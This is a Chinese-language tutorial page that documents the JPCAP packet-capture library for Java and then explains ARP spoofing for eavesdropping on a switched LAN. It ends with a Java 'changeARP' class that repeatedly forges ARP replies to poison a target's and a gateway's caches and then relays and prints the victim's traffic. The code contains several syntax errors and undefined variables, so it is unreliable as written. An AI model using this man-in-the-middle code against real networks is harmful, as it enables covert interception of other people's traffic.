JPCAP——Java中的数据链路层控制

2016-02-19 20:03 64 1 收藏

图老师设计创意栏目是一个分享最好最实用的教程的社区,我们拥有最用心的各种教程,今天就给大家分享JPCAP——Java中的数据链路层控制的教程,热爱PS的朋友们快点看过来吧!

【 tulaoshi.com - 编程语言 】

  一.JPCAP简介
  
  众所周知,Java语言虽然在TCP/UDP传输方面给予了良好的定义,但对于网络层以下的控制,却是无能为力的。JPCAP扩展包弥补了这一点。
  
  JPCAP实际上并非一个真正去实现对数据链路层的控制,而是一个中间件,JPCAP调用wincap/libpcap,而给JAVA语言提供一个公共的接口,从而实现了平台无关性。在官方网站上声明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft windows 2000/XP等系统。
  
  二.JPCAP机制
  
  JPCAP的整个结构大体上跟wincap/libpcap是很相像的,例如NetworkInterface类对应wincap的typedef strUCt _ADAPTERADAPTER,getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类,下面就其中最重要的4个类做说明。
  
  1.NetworkInterface
  
  该类的每一个实例代表一个网络设备,一般就是网卡。这个类只有一些数据成员,除了继续自java.lang.Object的基本方法以外,没有定义其它方法。
  
  
  数据成员
  NetworkInterfaceAddress[]
  java.lang.String
  datalink_description.
  数据链路层的描述。描述所在的局域网是什么网。例如,以太网(Ethernet)、无线LAN网(wireless LAN)、令牌环网(token ring)等等。
  java.lang.String
  datalink_name
  该网络设备所对应数据链路层的名称。具体来说,例如Ethernet10M、100M、1000M等等。
  java.lang.String
  description
  网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC
  boolean
  Loopback
  标志这个设备是否loopback设备。
  byte[]
  mac_address
  网卡的MAC地址,6个字节。
  java.lang.String
  Name
  这个设备的名称。例如我的网卡名称:DeviceNPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
  
  2.JpcapCaptor
  
  该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接,可以通过该类的实例来控制设备,例如设定网卡模式、设定过滤要害字等等。
  
  
  数据成员
  int
  
  dropped_packets
  抛弃的包的数目。
  protected int
  
  ID
  
  这个数据成员在官方文档中并没有做任何说明,查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的,这类本身并没有做出定义,所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。
  protected staticboolean[]
  
  instanciatedFlag
  
  同样在官方文档中没有做任何说明,估计其为供内部使用。
  protected staticint
  
  MAX_NUMBER_OF_INSTANCE
  同样在官方文档中没有做任何说明,估计其为供内部使用。
  int
  
  received_packets
  收到的包的数目
  
  方法成员
  staticNetworkInterface[]
  
  getDeviceList()
  返回一个网络设备列表。
  staticJpcapCaptor
  
  openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms)
  创建一个与指定设备的连接并返回该连接。注重,以上两个方法都是静态方法。
  
  Interface:要打开连接的设备的实例;
  
  Snaplen:这个是比较轻易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包,而是限制每一次收到一个数据包,只提取该数据包中前多少字节;
  
  Promisc:设置是否混杂模式。处于混杂模式将接收所有数据包,若之后又调用了包过滤函数setFilter()将不起任何作用;
  
  To_ms:这个参数主要用于processPacket()方法,指定超时的时间;
  void
  
  Close()
  关闭调用该方法的设备的连接,相对于openDivece()打开连接。
  JpcapSender
  
  getJpcapSenderInstance()
  该返回一个JpcapSender实例,JpcapSender类是专门用于控制设备的发送数据包的功能的类。
  Packet
  
  getPacket()
  捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。
  int
  
  loopPacket(intcount, PacketReceiver handler)
  捕捉指定数目的数据包,并交由实现了PacketReceiver接口的类的实例处理,并返回捕捉到的数据包数目。假如count参数设为-1,那么无限循环地捕捉数据。
  
  这个方法不受超时的影响。还记得openDivice()中的to_ms参数么?那个参数对这个方法没有影响,假如没有捕捉到指定数目数据包,那么这个方法将一直阻塞等待。
  PacketReceiver中只有一个抽象方法void receive(Packet p)。
  int
  
  processPacket(intcount, PacketReceiver handler)
  跟loopPacket()功能一样,唯一的区别是这个方法受超时的影响,超过指定时间自动返回捕捉到数据包的数目。
  int
  
  dispatchPacket(intcount, PacketReceiverhandler)
  跟processPacket()功能一样,区别是这个方法可以处于“non-blocking”模式工作,在这种模式下dispatchPacket()可能立即返回,即使没有捕捉到任何数据包。
  void
  
  setFilter(java.lang.Stringcondition, booleanoptimize)
  .condition:设定要提取的包的要害字。
  
  Optimize:这个参数在说明文档以及源代码中都没有说明,只是说这个参数假如为真,那么过滤器将处于优化模式。
  void
  
  setNonBlockingMode(booleannonblocking)
  
  假如值为“true”,那么设定为“non-blocking”模式。
  void
  
  breakLoop()
  
  当调用processPacket()和loopPacket()后,再调用这个方法可以强制让processPacket()和loopPacket()停止。
  
  3.JpcapSender
  
  该类专门用于控制数据包的发送。
  
  
  方法成员
  void
  
  close()
  强制关闭这个连接。
  staticJpcapSender
  
  openRawSocket()
  
  这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。
  void
  
  sendPacket(Packet packet)
  JpcapSender最重要的功能,发送数据包。需要注重的是,假如调用这个方法的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话,需要自己设定数据链路层的头,而假如是由上面的openRawSocket()得到的话,那么无需也不能设置,数据链路层的头部将由系统自动生成。
  
  4.Packet
  
  这个是所有其它数据包类的父类。Jpcap所支持的数据包有:
  ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com/bianchengyuyan/)

  三.使用JPCAP实现监听
  
  1.监听原理 
  
  在具体说用JPCAP实现网络监听实现前,先简单介绍下监听的原理。
  
  局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段,局域网的布局是使用总线式(或集线式)结构,要到达监听只需要将网卡设定为混杂模式即可,但现在的局域网络普遍采用的是交换式网络,所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的,我们需要“欺骗”路由器、“欺骗”交换机,即“ARP欺骗”技术。
  
  假设本机为A,监听目标为B。
  
  首先,伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入网关IP,目的地址填入B的MAC、IP,然后将这个包发送给B,而B接收到这个伪造的ARP REPLY包后,由于源IP为网关IP,于是在它的ARP缓存表里刷新了一项,将(网关IP,网关MAC)刷新成(网关IP,A的MAC)。而B要访问外部的网都需要经过网关,这时候这些要经过网关的包就通通流到A的机器上来了。
  
  接着,再伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入网关MAC、IP,然后将这个包发给网关,网关接收到这个伪造的ARP REPLY包后,由于源IP为B的IP,于是在它的ARP缓存表里刷新了一项,将(B的IP,B的MAC)刷新成(B的IP,A的MAC)。这时候外部传给B的数据包经过网关时,就通通转发给A。
  
  这样还只是拦截了B的数据包而已,B并不能上网——解决方法是将接收到的包,除了目的地址部分稍做修改,其它原封不动的再转发出去,这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。
  
  ARP数据包解析
  
  单元:Byte
  
  
  Ethernet头部
  
  ARP数据部分
  
  6
  
  6
  
  2
  
  2
  
  2
  
  2
  
  2
  
  4
  
  6
  
  4
  
  6
  
  目标MAC地址
  
  源地MAC地址
  
  类型号0x0800:ip
  
  0x0806:ARP
  
  局域网类型
  
  以太网0x0001
  
  网络协议类型
  
  IP网络0x0800
  
  MAC/IP地址长度,恒为0x06/04
  
  ARP包类型
  
  REPLY
  
  0x0002
  
  ARP目标IP地址
  
  ARP目标MAC 地址
  
  ARP源IP地址
  
  ARP源MAC地址
  
  2.用JPCAP实现监听
  
  就如上面说的,为了实现监听,我们必须做四件事:
  
  A.发送ARP包修改B的ARP缓存表;
  
  B.发送ARP包修改路由ARP缓存表;
  
  C.转发B发过来的数据包;
  
  D.转发路由发过来的数据包;
  
  下面我们给个小小的例子说明怎样实现。
  
  我们假定运行这个程序的机器A只有一个网卡,只接一个网络,所在局域网为Ethernet,并且假定已经通过某种方式获得B和网关的MAC地址(例如ARP解析获得)。我们修改了B和网关的ARP表,并对他们的包进行了转发。
  
  public class changeARP{
   private NetworkInterface[] devices; //设备列表
   private NetworkInterface device; //要使用的设备
   private JpcapCaptor jpcap; //与设备的连接
   private JpcapSender sender; //用于发送的实例
   private byte[] targetMAC, gateMAC; //B的MAC地址,网关的MAC地址
   private byte[] String targetIp, String gateIp; //B的IP地址,网关的IP地址
   /**
   *初始化设备
   * JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic
   *dialup adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
  
   *注重:在这里有一个小小的BUG,假如JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
   *JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
   *虚拟网卡只有MAC地址而没有IP地址,而且假如出现虚拟网卡,那么实际网卡的MAC将分
   *配给虚拟网卡,也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。
  
   */
  
   private NetworkInterface getDevice() throws IOException {
  devices = JpcapCaptor.getDeviceList(); //获得设备列表
  device = devices[0];//只有一个设备
  jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
  jpcap.setFilter(“ip”,true); //只监听B的IP数据包
  sender = captor.getJpcapSenderInstance();
   }
   /**
   *修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表,所以必须每隔一
   *段时间就发一次包重新更改B和网关的ARP表。
   *@参数 targetMAC B的MAC地址,可通过ARP解析得到;
   *@参数 targetIp B的IP地址;
   *@参数 gateMAC 网关的MAC地址;
   */
  
   public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
   throws UnknownHostException,InterruptedException {
  this. targetMAC = targetMAC;
  this. targetIp = targetIp;
  this. gateMAC = gateMAC;
  this. gateIp = gateIp;
  getDevice();
  arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
  arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
  arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
  arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型
  arpTarget.hlen = 6; //MAC地址长度固定6个字节
  arpTarget.plen = 4; //IP地址长度固定4个字节
  arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
  arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP
  
  arpTarget.target_hardaddr = targetMAC; //B的MAC地址
  arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP
  
  EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
  ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//选择以太包类型
  ethToTarget.src_mac = device.mac_address; //A的MAC地址
  ethToTarget.dst_mac = targetMAC; //B的MAC地址
  arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前
  arpGate = new ARPPacket(); //修改网关ARP表的包
  arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似,不再重复注析
  arpGate.prototype = ARPPacket.PROTOTYPE_IP;
  arpGate.operation = ARPPacket.ARP_REPLY;
  arpGate.hlen = 6;
  arpGate.plen = 4;
  arpGate.sender_hardaddr = device.mac_address;
  arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
  arpGate.target_hardaddr = gateMAC;
  arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
  EthernetPacket ethToGate = new EthernetPacket();
  ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
  ethToGate.src_mac = device.mac_address;
  ethToGate.dst_mac = gateMAC;
  arpGate.datalink = ethToGate;
  thread=new Thread(new Runnable(){ //创建一个进程控制发包速度
  public void run() {
   while (true) {
  sender.sendPacket(arpTarget);
  sender.sendPacket(arpGate);
  Thread.sleep(500);
   }).start();
   recP(); //接收数据包并转发
  }
  /**
  *修改包的以太头,转发数据包
  *参数 packet 收到的数据包
  *参数 changeMAC 要转发出去的目标
  */
  private void send(Packet packet, byte[] changeMAC) {
   EthernetPacket eth;
   if (packet.datalink instanceof EthernetPacket) {
  eth = (EthernetPacket) packet.datalink;
  for (int i = 0; i 6; i++) {
   eth.dst_mac[i] = changeMAC[i]; //修改包以太头,改变包的目标
   eth.src_mac[i] = device.mac_address[i]; //源发送者为A
  }
  sender.sendPacket(packet);
   }
  }
  /**
  *打印接受到的数据包并转发
  */
  public void recP(){
   IPPacket ipPacket = null;
   while(true){
  ipPacket = (IPPacket)jpcap.getPacket();
  System.out.println(ipPacket);
  if (ipPacket.src_ip.getHostAddress().equals(targetIp))
   send(packet, gateMAC);
  else
   send(packet, targetMAC);
   }
  }
  注重:这个例子只是为了说明问题,并没有考虑到程序的健壮性,所以并不一定能在任何一台机器任何一个系统上运行。

来源:https://www.tulaoshi.com/n/20160219/1622621.html

延伸阅读
标签: ASP
  在编程中,经常需要使用事务。所谓事务,就是一系列必须都成功的操作,只要有一步操作失败,所有其他的步骤也必须撤销。比如用ASP开发一个网络硬盘系统,其用户注册部分要做的事有: 将用户信息记入数据库 为用户开个文件夹用于存储 初始化用户操作日志 这三步必须使用事务,否则万一磁盘操作失败,而没有撤...
public class flowDemo{ public static void main(String[] arges){ int iPara1,iPara2,iEnd; if(arges.length!=3) { System.out.println("USE :java flowDome parameter1 parameter2 circle"); System.out.println("parameter1 : 比较条件1,数字类型"); System.out.println...
JDK说明: join public final void join()                 throws InterruptedException等待该线程终止。 抛出: InterruptedException - 如果任何线程中断了当前线程。当抛出该异常时,当前线程的中断状态 被清除 测试代码: 代码如下: public class MyTh...
与 C、 C++相 同 ,Java程 序 通 过 流 控 制 来 执 行 程 序 流 ,完 成 一 定 的 任 务 。 程 序 流 是 由 若 干 个 语 句 组 成 的 。 语 句 可 以 是 单 一 的 一 条 语 句 ( 如 c=a+b; ),也 可 以 是 用 大 括 号 {}括 起 来 的 一 个 复 合 语 句 。 下 面 我 们 分 别 来 介 绍 Java中 的 流 控 制 语 句 ,包 括 ...
数据结构描述的是数据之间的关系。C++数据结构的存储方式有顺序、链接、索引、散列等形式,对数据的处理通常包括输入、输出、查找、更新、排序、插入、删除等,当数据的存储方式不同时,相应的处理实现算法也不尽相同。如何采用一种简便明了的方法分析C++的数据结构特点及各种存储方式、处理方式之间的异同成为了计算机应用专业教育的一个...

经验教程

67

收藏

36
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部